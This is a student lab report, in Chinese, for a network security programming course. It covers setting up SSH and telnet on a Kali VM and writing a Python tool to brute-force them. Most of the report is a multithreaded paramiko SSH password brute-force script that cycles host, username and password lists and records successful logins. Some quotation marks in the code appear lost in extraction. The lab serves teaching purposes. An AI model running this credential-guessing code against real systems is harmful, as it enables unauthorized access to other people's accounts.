实验四:Python编写协议爆破指令

课程名称 网络安全软件开发 指导教师 石老师 实验日期 2020-4-2 班 级 网络2班 姓 名 纯软女孩 学 号 2018**************** 实验成绩
一、实验项目名称 Python编写协议爆破指令 二、实验目的及要求 1.掌握telnet、ssh协议的原理以及使用 2.掌握python爆破协议的方法 三、实验环境 Windows、Python3 四、实验内容 1.搭建好ssh、telnet的服务 2.利用手上编写的PYTHON3进行爆破 五、实验步骤 1、给kali机配置ssh服务 2、用windows ssh命令远程连接kali 3、打开pycharm,编辑python代码 4、在h.txt中放入kali机ip地址,p.txt中放入用户密码,u.txt中放入用户名 5、运行python代码,调试错误后,得爆破结果 六、实验程序与实验结果 实验程序: import paramiko from concurrent.futures import ThreadPoolExecutor, wait, ALL_COMPLETED, FIRST_COMPLETED a=[] def sshd(h, u, p): try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname=h, username=u, password=p) #ip地址 用户名 密码 print([------------------]+ h + ":" + u + "/" + p + "[-----------------]") a.append(Found: + h + + u + + p) except: print("Login Fail:%s p:%s" % (u,p)) finally: ssh.close() def zidian(): h = open("h.txt") for ch in h: ch = ch.strip(" ") u = open(u.txt) for cu in u: cu = cu.strip(" ") p = open(p.txt) for cp in p: cp = cp.strip( ) yield ch,cu,cp def main(): paramiko.util.log_to_file("filename.log") max_thread_num = 10 executor = ThreadPoolExecutor(max_workers=max_thread_num) zd = zidian() all_talk = [executor.submit(sshd, host, user, passwrd) for host, user, passwrd in zd] wait(all_talk, return_when=ALL_COMPLETED) print(a) if __name__ == __main__: main() 实验结果: 七、实验总结 通过本次实验简单了解了python爆破协议的方法,同时也学会了如何搭建ssh和telnet服务;在实验ssh连接中,碰到了window系统被拒绝连接的报错,通过反复对kali配置文件的检查与修改,连接成功后,成功运行代码。实验过程中的改错,可以加深我们对整个实验过程的记忆和理解,同时提高了自己的独立解决问题的能力。 八、教师评阅意见
经验分享 程序员 微信小程序 职场和发展